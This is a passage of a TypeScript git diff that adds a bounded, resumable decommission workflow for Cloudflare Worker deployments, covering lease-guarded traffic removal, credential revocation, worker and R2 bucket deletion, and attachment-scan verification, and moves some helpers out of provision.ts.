lifecyclePhase?: NormalDecommissionLifecyclePhase; + }> + | Readonly<{ + state: 'blocked'; + purpose: DecommissionAttachmentPurpose; + attachment: DecommissionBlockedAttachment; + generation?: number; + lifecyclePhase?: NormalDecommissionLifecyclePhase; + }>; + +function nextIntent( + intent: Exclude, + timestamp: string, + values: IntentTransition, +): Exclude { + const common = { + version: 1 as const, + operationId: intent.operationId, + revision: intent.revision + 1, + generation: values.generation ?? intent.generation, + updatedAt: timestamp, + identity: intent.identity, + lifecyclePhase: values.lifecyclePhase ?? intent.lifecyclePhase, + }; + switch (values.state) { + case 'transitioning': + return { ...common, state: values.state }; + case 'discover': + return { + ...common, + state: values.state, + purpose: values.purpose, + progress: values.progress, + }; + case 'verify': + return { + ...common, + state: values.state, + purpose: values.purpose, + progress: values.progress, + discoverEvidence: values.discoverEvidence, + }; + case 'blocked': + return { + ...common, + state: values.state, + purpose: values.purpose, + attachment: values.attachment, + }; + } +} + +function nowIso(clock: () => number): string { + return new Date(clock()).toISOString(); +} + +function assertNormalAuthority( + record: FleetRecord, + backend: ProvisioningBackend, + spec: DeploymentSpec, + intent?: DecommissionAdvanceIntent, +): void { + if ( + record.backendSwitchIntent || + intent?.identity.mode.kind === 'backend-switch' + ) { + throw new Error('normal decommission cannot consume a backend switch'); + } + if (record.backend !== backend.kind) { + throw new Error('decommission backend does not own this deployment'); + } + assertImmutableDeploymentMapping(record, backend, spec); + const digest = deploymentSpecDigest(spec); + if (intent && intent.identity.mode.requestedSpecDigest !== digest) { + throw new Error( + 'decommission retry uses a different requested specification', + ); + } + const phase = effectiveLifecyclePhase(record); + if ( + !intent && + (phase === 'ready' || phase === 'rolling-back') && + record.desiredSpecDigest !== digest + ) { + throw new Error( + 'decommission specification does not match durable desired state', + ); + } +} + +function validateReservations(spec: DeploymentSpec, record: FleetRecord): void { + for (const resource of record.applicationResources ?? []) { + assertApplicationR2ReservationIdentity(spec, resource); + } +} + +function assertSupportedEntryLifecycle(record: FleetRecord): void { + const currentPhase = effectiveLifecyclePhase(record); + if ( + !NORMAL_ENTRY_PHASES.has(currentPhase as NormalDecommissionLifecyclePhase) + ) { + throw new Error( + `cannot start bounded decommission in phase '${currentPhase}'`, + ); + } +} + +function requireStartCapabilities( + backend: ProvisioningBackend, + resources: readonly ApplicationR2Resource[], +): void { + requireCapability( + backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ); + requireCapability( + backend.assertDatabaseDeletionResidualsRemoved, + 'database-residuals', + ); + if (resources.length > 0) { + requireCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ); + } + if (resources.some((resource) => resource.state !== 'deleted')) { + requireCapability(backend.assertApplicationR2Empty, 'application-r2-empty'); + requireCapability( + backend.deleteApplicationR2Bucket, + 'application-r2-delete', + ); + } +} + +function assertCompleteApplicationR2Reservations( + resources: readonly ApplicationR2Resource[], +): void { + if ( + resources.some( + (resource) => + resource.state === 'reserved' || resource.state === 'create-authorized', + ) + ) { + throw new Error( + 'normal decommission cannot consume incomplete application R2 reservation', + ); + } +} + +function malformedResult(): never { + throw new Error(RESULT_ERROR); +} + +function assertReservedAttempts(value: unknown, maximum: number): void { + if ( + !Number.isSafeInteger(value) || + Number(value) < 0 || + Number(value) > maximum + ) { + malformedResult(); + } +} + +function boundedAttachmentString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + value.length <= ATTACHMENT_STRING_BYTE_BOUND && + new TextEncoder().encode(value).byteLength <= ATTACHMENT_STRING_BYTE_BOUND + ); +} + +function safeAttachment(value: unknown): DecommissionBlockedAttachment { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return malformedResult(); + } + const candidate = value as Record; + const plane = candidate.plane; + const scriptName = candidate.scriptName; + const dispatchNamespace = candidate.dispatchNamespace; + if (plane === 'ordinary' && boundedAttachmentString(scriptName)) { + return { plane, scriptName }; + } + if ( + plane === 'dispatch' && + boundedAttachmentString(scriptName) && + boundedAttachmentString(dispatchNamespace) + ) { + return { + plane, + scriptName, + dispatchNamespace, + }; + } + return malformedResult(); +} + +function purposeTarget(purpose: DecommissionAttachmentPurpose) { + return purpose.kind === 'application-r2-detach' + ? ({ kind: 'r2', bucketName: purpose.bucketName } as const) + : ({ kind: 'd1', databaseId: purpose.databaseId } as const); +} + +async function commitShellOnly( + lease: FleetStateLease, + record: FleetRecord, + intent: Exclude, + clock: () => number, + values: Parameters[2], +): Promise { + const timestamp = nowIso(clock); + return writeIntent(lease, record, nextIntent(intent, timestamp, values)); +} + +async function commitRecord( + lease: FleetStateLease, + record: FleetRecord, + intent: Exclude, + clock: () => number, + recordValues: Readonly<{ + applicationResources?: FleetRecord['applicationResources']; + }>, + intentValues: Parameters[2], +): Promise { + const timestamp = nowIso(clock); + const nextRecord = { ...record, ...recordValues, updatedAt: timestamp }; + return writeIntent( + lease, + nextRecord, + nextIntent(intent, timestamp, intentValues), + ); +} + +function consumeMigrationCarrier( + record: FleetRecord, + spec: DeploymentSpec, + intent: Exclude, +): FleetRecord { + if (intent.lifecyclePhase !== 'migrating') return record; + if (intent.identity.mode.kind !== 'normal') { + throw new Error('normal decommission cannot consume a backend switch'); + } + const priorActive = record.activeRelease ?? activeExternalRelease(record); + const pendingRelease = + record.pendingRelease ?? + (record.backend === 'plain-worker' && + record.pendingArtifactVersion !== undefined && + record.pendingSpecDigest !== undefined + ? { + physicalScriptName: record.scriptName, + specDigest: record.pendingSpecDigest, + artifactVersion: record.pendingArtifactVersion, + releaseSchemaVersion: spec.schemaVersion, + application: applicationBindingTopology( + spec, + record.applicationResources ?? [], + ), + } + : undefined); + const { + migrationIntent: _migrationIntent, + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + ...remaining + } = record; + return { + ...remaining, + desiredSpecDigest: intent.identity.mode.requestedSpecDigest, + ...(priorActive ? { activeRelease: priorActive } : {}), + ...(pendingRelease ? { pendingRelease } : {}), + }; +} + +function clearRetainedReleases(record: FleetRecord): FleetRecord { + const { + pendingRelease: _pendingRelease, + migrationPriorRelease: _migrationPriorRelease, + rollbackRelease: _rollbackRelease, + retiringRelease: _retiringRelease, + ...remaining + } = record; + return remaining; +} + +async function advanceLifecycle( + options: AdvanceDecommissionDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: Exclude, +): Promise { + const { backend, spec } = options; + const clock = options.clock ?? Date.now; + const phase = intent.lifecyclePhase; + const resources = record.applicationResources ?? []; + + if ( + phase === 'publishing' || + phase === 'ready' || + phase === 'migrating' || + phase === 'rolling-back' + ) { + if (resources.length > 0) { + const findApplicationR2Bucket = requiredCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(backend); + const needsEmptyAttestation = resources.some( + (resource) => + resource.state !== 'reserved' && resource.state !== 'deleted', + ); + const preflightBackend = needsEmptyAttestation + ? { + findApplicationR2Bucket, + assertApplicationR2Empty: requiredCapability( + backend.assertApplicationR2Empty, + 'application-r2-empty', + ).bind(backend), + } + : { findApplicationR2Bucket }; + validateReservations(spec, record); + await assertApplicationR2EmptyBeforeDecommission({ + resources, + backend: preflightBackend, + fence: lease, + }); + } + const consumed = consumeMigrationCarrier(record, spec, intent); + return commitRecord( + lease, + consumed, + intent, + clock, + {}, + { state: 'transitioning', lifecyclePhase: 'decommissioning' }, + ); + } + + if (phase === 'decommissioning') { + const database = await reconcilePersistedDatabase( + backend, + record, + false, + lease, + true, + ); + await lease.assertOwned(); + await backend.removeTraffic( + spec, + retainedExternalReleases(record), + activeExternalRelease(record), + database as DatabaseReference, + lease, + ); + await backend.assertTrafficRemoved(spec); + return commitRecord( + lease, + record, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'traffic-removed', + }, + ); + } + + if (phase === 'traffic-removed') { + let preflightBackend: + | Readonly<{ + findApplicationR2Bucket: NonNullable< + ProvisioningBackend['findApplicationR2Bucket'] + >; + assertApplicationR2Empty?: NonNullable< + ProvisioningBackend['assertApplicationR2Empty'] + >; + }> + | undefined; + if (resources.length > 0) { + const findApplicationR2Bucket = requiredCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(backend); + const needsEmptyAttestation = resources.some( + (resource) => + resource.state !== 'reserved' && resource.state !== 'deleted', + ); + preflightBackend = needsEmptyAttestation + ? { + findApplicationR2Bucket, + assertApplicationR2Empty: requiredCapability( + backend.assertApplicationR2Empty, + 'application-r2-empty', + ).bind(backend), + } + : { findApplicationR2Bucket }; + validateReservations(spec, record); + } + await backend.assertTrafficRemoved(spec); + if (resources.length > 0) { + await assertApplicationR2EmptyBeforeDecommission({ + resources, + backend: preflightBackend as NonNullable, + fence: lease, + }); + } + const database = await reconcilePersistedDatabase( + backend, + record, + false, + lease, + true, + ); + await lease.assertOwned(); + await backend.revokeCredentials( + spec, + retainedExternalReleases(record), + activeExternalRelease(record), + database as DatabaseReference, + lease, + ); + return commitRecord( + lease, + record, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'credentials-revoked', + }, + ); + } + + if (phase === 'credentials-revoked') { + const residual = !record.platformResources + ? requiredCapability( + backend.assertDatabaseDeletionResidualsRemoved, + 'database-residuals', + ) + : undefined; + const database = await reconcilePersistedDatabase( + backend, + record, + false, + lease, + true, + ); + await lease.assertOwned(); + await backend.deleteWorker( + spec, + retainedExternalReleases(record), + database as DatabaseReference, + activeExternalRelease(record), + lease, + ); + let nextRecord = record; + if (residual) { + await residual.call( + backend, + spec, + record, + database as DatabaseReference, + lease, + ); + nextRecord = clearRetainedReleases(record); + } + return commitRecord( + lease, + nextRecord, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'worker-deleted', + }, + ); + } + + if (phase === 'worker-deleted') { + if (record.platformResources) { + const revokePlatformResourceCredentialsCandidate = + backend.revokePlatformResourceCredentials; + if (typeof revokePlatformResourceCredentialsCandidate !== 'function') { + throw new Error( + 'backend cannot revoke trusted platform resource credentials', + ); + } + const revokePlatformResourceCredentials = + revokePlatformResourceCredentialsCandidate.bind(backend); + const database = await reconcilePersistedDatabase( + backend, + record, + false, + lease, + true, + ); + await lease.assertOwned(); + await revokePlatformResourceCredentials( + spec, + record, + database as DatabaseReference, + lease, + ); + } + return commitRecord( + lease, + record, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'platform-credentials-revoked', + }, + ); + } + + if (phase === 'platform-credentials-revoked') { + let nextRecord = record; + if (record.platformResources) { + const residual = requiredCapability( + backend.assertDatabaseDeletionResidualsRemoved, + 'database-residuals', + ); + const deletePlatformResourcesCandidate = backend.deletePlatformResources; + if (typeof deletePlatformResourcesCandidate !== 'function') { + throw new Error('backend cannot delete trusted platform resources'); + } + const deletePlatformResources = + deletePlatformResourcesCandidate.bind(backend); + const database = await reconcilePersistedDatabase( + backend, + record, + false, + lease, + true, + ); + await lease.assertOwned(); + await deletePlatformResources( + spec, + record, + database as DatabaseReference, + lease, + ); + await residual.call( + backend, + spec, + record, + database as DatabaseReference, + lease, + ); + nextRecord = clearRetainedReleases(record); + } + return commitRecord( + lease, + nextRecord, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'platform-resources-deleted', + }, + ); + } + + if (phase === 'platform-resources-deleted') { + return commitRecord( + lease, + record, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'application-resources-deleting', + }, + ); + } + throw new Error(`unsupported bounded decommission lifecycle '${phase}'`); +} + +async function advanceR2Transition( + options: AdvanceDecommissionDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: Exclude, +): Promise { + const resources = record.applicationResources ?? []; + const actionableIndex = resources.findIndex( + (resource) => resource.state !== 'reserved' && resource.state !== 'deleted', + ); + const actionable = + actionableIndex < 0 ? undefined : resources[actionableIndex]; + const needsInspection = + resources.length > 0 && + (actionableIndex !== 0 || + (actionable !== undefined && actionable.state !== 'empty')); + const findApplicationR2Bucket = needsInspection + ? requiredCapability( + options.backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(options.backend) + : undefined; + const assertApplicationR2Empty = + actionable?.state === 'detached' || actionable?.state === 'empty-authorized' + ? requiredCapability( + options.backend.assertApplicationR2Empty, + 'application-r2-empty', + ).bind(options.backend) + : undefined; + const deleteApplicationR2Bucket = + actionable?.state === 'empty' || actionable?.state === 'delete-authorized' + ? requiredCapability( + options.backend.deleteApplicationR2Bucket, + 'application-r2-delete', + ).bind(options.backend) + : undefined; + if (actionable) { + if ( + actionable.state === 'created' || + actionable.state === 'detach-authorized' + ) { + requireCapability( + options.backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ); + } + } + const result = await advanceApplicationR2Deletion({ + spec: options.spec, + resources, + backend: { + ...(findApplicationR2Bucket ? { findApplicationR2Bucket } : {}), + ...(assertApplicationR2Empty ? { assertApplicationR2Empty } : {}), + ...(deleteApplicationR2Bucket ? { deleteApplicationR2Bucket } : {}), + }, + fence: lease, + startResourceIndex: 0, + }); + const clock = options.clock ?? Date.now; + if (result.status === 'complete') { + return commitRecord( + lease, + record, + intent, + clock, + {}, + { + state: 'transitioning', + lifecyclePhase: 'application-resources-deleted', + }, + ); + } + if (result.status === 'resource-advanced') { + return commitRecord( + lease, + record, + intent, + clock, + { applicationResources: result.resources }, + { state: 'transitioning' }, + ); + } + const resource = result.resource; + if (resource.creationDate === undefined) malformedResult(); + const purpose: DecommissionAttachmentPurpose = { + kind: 'application-r2-detach', + resourceIndex: result.resourceIndex, + name: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + reservationNonce: resource.reservationNonce, + creationDate: resource.creationDate, + }; + return commitRecord( + lease, + record, + intent, + clock, + { applicationResources: result.resources }, + { + state: 'discover', + purpose, + progress: initialWorkerAttachmentScan({ + kind: 'r2', + bucketName: resource.bucketName, + }), + generation: intent.generation + 1, + }, + ); +} + +async function advanceR2Scan( + options: AdvanceDecommissionDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: Extract< + DecommissionAdvanceIntent, + { readonly state: 'discover' | 'verify' } + >, +): Promise { + if (intent.purpose.kind !== 'application-r2-detach') { + throw new Error('R2b-A cannot consume a database attachment purpose'); + } + const resource = record.applicationResources?.[intent.purpose.resourceIndex]; + if (!resource) malformedResult(); + assertApplicationR2ReservationIdentity(options.spec, resource); + const findApplicationR2Bucket = requiredCapability( + options.backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(options.backend); + const scan = requiredCapability( + options.backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ).bind(options.backend); + const inspectionBackend = { findApplicationR2Bucket }; + const preflight = await advanceApplicationR2Deletion({ + spec: options.spec, + resources: record.applicationResources ?? [], + backend: inspectionBackend, + fence: lease, + startResourceIndex: 0, + }); + if ( + preflight.status !== 'detachment-required' || + preflight.resourceIndex !== intent.purpose.resourceIndex + ) { + malformedResult(); + } + const raw: unknown = await scan({ + progress: intent.progress, + maxProviderRequests: options.maxProviderRequests, + signal: options.signal, + }); + let plain: unknown; + try { + plain = cloneBoundedPlainData(raw, { + maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, + maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + error: () => new Error(RESULT_ERROR), + }); + } catch { + return malformedResult(); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + malformedResult(); + } + const result = plain as Record; + const clock = options.clock ?? Date.now; + if (result.status === 'drift') { + return commitShellOnly(lease, record, intent, clock, { + state: 'discover', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + generation: intent.generation + 1, + }); + } + assertReservedAttempts( + result.providerFetchAttemptsReserved, + options.maxProviderRequests, + ); + if (result.status === 'pending') { + let progress: DecommissionAttachmentProgress; + try { + progress = parseWorkerAttachmentScanProgress( + result.progress, + purposeTarget(intent.purpose), + ); + } catch { + return malformedResult(); + } + return commitShellOnly( + lease, + record, + intent, + clock, + intent.state === 'verify' + ? { + state: 'verify', + purpose: intent.purpose, + progress, + discoverEvidence: intent.discoverEvidence, + } + : { state: 'discover', purpose: intent.purpose, progress }, + ); + } + if (result.status === 'attached') { + return commitShellOnly(lease, record, intent, clock, { + state: 'blocked', + purpose: intent.purpose, + attachment: safeAttachment(result.attachment), + }); + } + if ( + result.status !== 'complete' || + typeof result.evidenceSha256 !== 'string' || + !Number.isSafeInteger(result.evidenceCount) + ) { + return malformedResult(); + } + const evidence = { + evidenceSha256: result.evidenceSha256, + evidenceCount: Number(result.evidenceCount), + }; + if ( + !/^[a-f0-9]{64}$/u.test(evidence.evidenceSha256) || + evidence.evidenceCount < 2 || + evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND + ) { + return malformedResult(); + } + if (intent.state === 'discover') { + let next: DecommissionAdvanceIntent; + try { + next = nextIntent(intent, nowIso(clock), { + state: 'verify', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + discoverEvidence: evidence, + }); + next = normalizeIntent(next, record); + } catch { + return malformedResult(); + } + return writeIntent(lease, record, next); + } + if ( + evidence.evidenceSha256 !== intent.discoverEvidence.evidenceSha256 || + evidence.evidenceCount !== intent.discoverEvidence.evidenceCount + ) { + return commitShellOnly(lease, record, intent, clock, { + state: 'discover', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + generation: intent.generation + 1, + }); + } + await lease.assertOwned(); + const detached = await advanceApplicationR2Deletion({ + spec: options.spec, + resources: record.applicationResources ?? [], + backend: inspectionBackend, + fence: lease, + startResourceIndex: 0, + verifiedDetachmentResourceIndex: intent.purpose.resourceIndex, + }); + if ( + detached.status !== 'resource-advanced' || + detached.resourceIndex !== intent.purpose.resourceIndex || + detached.resources[detached.resourceIndex]?.state !== 'detached' + ) { + return malformedResult(); + } + return commitRecord( + lease, + record, + intent, + clock, + { applicationResources: detached.resources }, + { state: 'transitioning' }, + ); +} + +function startRecord( + record: FleetRecord, + spec: DeploymentSpec, + operationId: string, + timestamp: string, +): FleetRecord { + const currentPhase = effectiveLifecyclePhase(record); + if ( + !NORMAL_ENTRY_PHASES.has(currentPhase as NormalDecommissionLifecyclePhase) + ) { + throw new Error( + `cannot start bounded decommission in phase '${currentPhase}'`, + ); + } + const lifecyclePhase = currentPhase as NormalDecommissionLifecyclePhase; + const source: FleetRecord = { + ...record, + phase: 'decommission-advancing', + updatedAt: timestamp, + }; + const intent: DecommissionAdvanceIntent = { + version: 1, + operationId, + revision: 0, + generation: 0, + updatedAt: timestamp, + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: deploymentSpecDigest(spec), + entryLifecyclePhase: lifecyclePhase, + }, + }, + lifecyclePhase, + state: 'transitioning', + }; + return { + ...source, + decommissionIntent: normalizeIntent(intent, source), + }; +} + +async function advanceUnderLease( + options: AdvanceDecommissionDeploymentOptions, + action: DecommissionAdvanceAction, + parsedToken: DecommissionAdvanceToken | undefined, + lease: FleetStateLease, +): Promise { + const { backend, spec, store } = options; + let record = await store.get(spec.tenantTag, spec.environment); + if (!record) { + if (action.kind === 'start') + throw new Error('deployment is not registered'); + throw new DecommissionAdvanceTokenOperationError(); + } + const intent = record.decommissionIntent + ? normalizeDecommissionAdvanceIntent( + record.decommissionIntent, + omitIntent(record), + ) + : undefined; + if (action.kind === 'start' && intent) { + assertNormalAuthority(record, backend, spec, intent); + return authoritativeResult({ ...record, decommissionIntent: intent }); + } + if (action.kind === 'start') { + assertNormalAuthority(record, backend, spec); + validateReservations(spec, record); + const resources = record.applicationResources ?? []; + assertCompleteApplicationR2Reservations(resources); + requireStartCapabilities(backend, resources); + assertSupportedEntryLifecycle(record); + const operationId = options.randomUUID(); + parseDecommissionAdvanceToken({ + version: 1, + tenantTag: spec.tenantTag, + environment: spec.environment, + operationId, + revision: 0, + }); + record = startRecord( + record, + spec, + operationId, + nowIso(options.clock ?? Date.now), + ); + await lease.put(record); + return authoritativeResult(record); + } + if (!parsedToken || !intent) { + throw new DecommissionAdvanceTokenOperationError(); + } + record = { ...record, decommissionIntent: intent }; + const classification = classifyDecommissionAdvanceToken(parsedToken, record); + if (classification === 'stale') return authoritativeResult(record); + if (action.kind === 'restart-blocked') { + if (intent.state !== 'blocked') throw new DecommissionAdvanceRestartError(); + if (intent.purpose.kind !== 'application-r2-detach') { + throw new DecommissionAdvanceRestartError(); + } + assertNormalAuthority(record, backend, spec, intent); + assertCompleteApplicationR2Reservations(record.applicationResources ?? []); + requireCapability( + backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ); + const resource = + record.applicationResources?.[intent.purpose.resourceIndex]; + if (!resource) malformedResult(); + assertApplicationR2ReservationIdentity(spec, resource); + if (intent.purpose.resourceIndex > 0) { + const findApplicationR2Bucket = requiredCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(backend); + const prefix = await advanceApplicationR2Deletion({ + spec, + resources: + record.applicationResources?.slice(0, intent.purpose.resourceIndex) ?? + [], + backend: { findApplicationR2Bucket }, + fence: lease, + startResourceIndex: 0, + }); + if (prefix.status !== 'complete') malformedResult(); + } + record = await commitShellOnly( + lease, + record, + intent, + options.clock ?? Date.now, + { + state: 'discover', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + generation: intent.generation + 1, + }, + ); + return authoritativeResult(record); + } + if (intent.state === 'blocked' || intent.state === 'complete') { + return authoritativeResult(record); + } + if (intent.lifecyclePhase === 'application-resources-deleted') { + return authoritativeResult(record); + } + assertNormalAuthority(record, backend, spec, intent); + assertCompleteApplicationR2Reservations(record.applicationResources ?? []); + if (intent.state === 'discover' || intent.state === 'verify') { + record = await advanceR2Scan(options, lease, record, intent); + } else if (intent.lifecyclePhase === 'application-resources-deleting') { + record = await advanceR2Transition(options, lease, record, intent); + } else { + record = await advanceLifecycle(options, lease, record, intent); + } + return authoritativeResult(record); +} + +/** + * Starts, reads, or advances one normal decommission operation. + * + * One call performs at most one bounded scan or lifecycle/resource action group. + */ +export async function advanceDecommissionDeployment( + options: AdvanceDecommissionDeploymentOptions, +): Promise { + validateDeploymentSpec(options.spec); + assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests); + const action = decommissionAdvanceActionFromUnknown(options.action); + if (typeof options.randomUUID !== 'function') { + throw new Error( + 'advanceDecommissionDeployment requires a randomUUID function', + ); + } + const parsedToken = + action.kind === 'start' + ? undefined + : parseDecommissionAdvanceToken(action.token); + if ( + parsedToken && + (parsedToken.tenantTag !== options.spec.tenantTag || + parsedToken.environment !== options.spec.environment) + ) { + throw new DecommissionAdvanceTokenDeploymentError(); + } + return options.store.withDeploymentLease( + options.spec.tenantTag, + options.spec.environment, + (lease) => advanceUnderLease(options, action, parsedToken, lease), + ); +} diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 86da811f..1089a604 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -57,6 +57,21 @@ export { type D1CloudflareApiRateCoordinatorOptions, ProcessLocalCloudflareApiRateCoordinator, } from './cloudflare-rate-coordinator.js'; +export { + type AdvanceDecommissionDeploymentOptions, + advanceDecommissionDeployment, + type DecommissionAdvanceAction, + type DecommissionAdvanceCapability, + DecommissionAdvanceCapabilityError, + DecommissionAdvanceRestartError, + type DecommissionAdvanceResult, +} from './decommission-advance.js'; +export { + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenError, + DecommissionAdvanceTokenFutureError, + DecommissionAdvanceTokenOperationError, +} from './decommission-intent.js'; export { FileSystemDatabaseExportStore } from './export-store.js'; export { auditFleetDrift, diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index eafa00f6..2144a4a4 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -9,7 +9,6 @@ import { } from './active-route.js'; import { applicationBindingTopology, - applicationR2Bindings, assertApplicationR2EmptyBeforeDecommission, convergeApplicationR2Creation, convergeApplicationR2Deletion, @@ -25,6 +24,12 @@ import { finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, } from './backend-switch.js'; +import { + activeExternalRelease, + assertImmutableDeploymentMapping, + reconcilePersistedDatabase, + retainedExternalReleases, +} from './decommission-advance.js'; import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { @@ -64,6 +69,11 @@ import { validateDeploymentSpec, } from './validation.js'; +export { + assertImmutableDeploymentMapping, + reconcilePersistedDatabase, +} from './decommission-advance.js'; + export class ProvisioningError extends Error { readonly cleanupErrors: readonly unknown[]; @@ -82,70 +92,6 @@ function nowIso(clock: () => number): string { return new Date(clock()).toISOString(); } -function activeExternalRelease( - record: FleetRecord, -): import('./types.js').ExternalReleaseSnapshot | undefined { - return ( - record.activeRelease ?? - (record.backend === 'plain-worker' && - record.artifactVersion !== PENDING_ARTIFACT_VERSION - ? { - physicalScriptName: record.scriptName, - specDigest: record.desiredSpecDigest, - artifactVersion: record.artifactVersion, - releaseSchemaVersion: record.schemaVersion, - application: record.applicationBindings ?? { - vars: [], - secrets: [], - r2Buckets: [], - }, - } - : undefined) - ); -} - -function retainedExternalReleases( - record: FleetRecord, -): readonly import('./types.js').ExternalReleaseSnapshot[] { - const active = activeExternalRelease(record); - const releases = [ - record.pendingRelease, - ...(record.backend === 'plain-worker' && - record.pendingArtifactVersion && - record.pendingSpecDigest - ? [ - { - physicalScriptName: record.scriptName, - specDigest: record.pendingSpecDigest, - artifactVersion: record.pendingArtifactVersion, - releaseSchemaVersion: record.schemaVersion, - }, - ] - : []), - record.rollbackRelease, - record.retiringRelease, - record.migrationPriorRelease, - ].filter( - (release): release is import('./types.js').ExternalReleaseSnapshot => - release !== undefined && - (record.backend === 'plain-worker' - ? release.artifactVersion !== active?.artifactVersion - : release.physicalScriptName !== active?.physicalScriptName), - ); - return releases.filter( - (release, index) => - releases.findIndex( - (candidate) => - (record.backend === 'plain-worker' - ? candidate.artifactVersion - : candidate.physicalScriptName) === - (record.backend === 'plain-worker' - ? release.artifactVersion - : release.physicalScriptName), - ) === index, - ); -} - function recordAt( backend: ProvisioningBackend, spec: DeploymentSpec, @@ -479,6 +425,7 @@ async function rollbackProvisioning( let cleanupRecord = latestRecord ?? record; try { const resources = await convergeApplicationR2Deletion({ + spec, resources: cleanupRecord.applicationResources ?? [], backend, fence: lease, @@ -535,49 +482,6 @@ const RESUMABLE_PROVISIONING_PHASES = new Set([ 'ready', ]); -export function assertImmutableDeploymentMapping( - prior: FleetRecord, - backend: ProvisioningBackend, - spec: DeploymentSpec, -): void { - applicationR2Bindings(spec, prior.applicationResources ?? []); - if ( - prior.tenantTag !== spec.tenantTag || - prior.environment !== spec.environment || - prior.backend !== backend.kind || - prior.scriptName !== spec.scriptName || - prior.databaseName !== spec.databaseName || - prior.routeHostname !== spec.routeHostname - ) { - throw new Error( - `deployment '${spec.tenantTag}:${spec.environment}' already exists with a different immutable resource mapping`, - ); - } - if ( - prior.schemaVersion > spec.schemaVersion && - !( - backend.immutableExternalArtifacts === true && - spec.authoredBy === 'external' && - prior.activeRelease?.releaseSchemaVersion === spec.schemaVersion - ) - ) { - throw new Error('provisioning refuses a schema downgrade'); - } - if ( - prior.phase !== 'ready' && - prior.phase !== 'rolling-back' && - (prior.phase === 'migrating' - ? (prior.migrationIntent?.targetSpecDigest ?? - prior.pendingRelease?.specDigest ?? - prior.pendingSpecDigest) - : prior.desiredSpecDigest) !== deploymentSpecDigest(spec) - ) { - throw new Error( - `deployment '${spec.tenantTag}:${spec.environment}' retry uses a different desired specification`, - ); - } -} - export interface ProvisionDeploymentOptions { readonly backend: ProvisioningBackend; readonly store: FleetStateStore; @@ -1412,37 +1316,6 @@ export interface CleanupDeploymentArtifactsOptions { readonly spec: DeploymentSpec; } -export async function reconcilePersistedDatabase( - backend: ProvisioningBackend, - record: Pick, - allowAbsent: boolean, - fence: import('./types.js').ExternalMutationFence, - requireOwner = true, -): Promise<(DatabaseReference & { readonly created: false }) | undefined> { - const database = await backend.getDatabase(record.databaseId); - if (!database) { - if (allowAbsent) return undefined; - throw new Error(`persisted database '${record.databaseId}' is absent`); - } - if ( - database.id !== record.databaseId || - database.name !== record.databaseName - ) { - throw new Error( - `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}'`, - ); - } - if (requireOwner) { - const owner = await backend.readDeploymentIdentity(database, fence); - if (owner !== record.tenantTag) { - throw new Error( - `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`, - ); - } - } - return { id: database.id, name: database.name, created: false }; -} - export function cleanupDeploymentArtifacts( options: CleanupDeploymentArtifactsOptions, ): Promise { @@ -1622,6 +1495,7 @@ async function cleanupDeploymentArtifactsUnderLease( if (errors.length === 0) { try { await convergeApplicationR2Deletion({ + spec, resources: record.applicationResources ?? [], backend, fence: lease, @@ -2019,6 +1893,7 @@ async function decommissionDeploymentUnderLease( } if (record.phase === 'application-resources-deleting') { const applicationResources = await convergeApplicationR2Deletion({ + spec, resources: record.applicationResources ?? [], backend, fence: lease, diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index 74be56d4..af5dbe76 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -116,6 +116,58 @@ function localBindingKeys( ); } +function 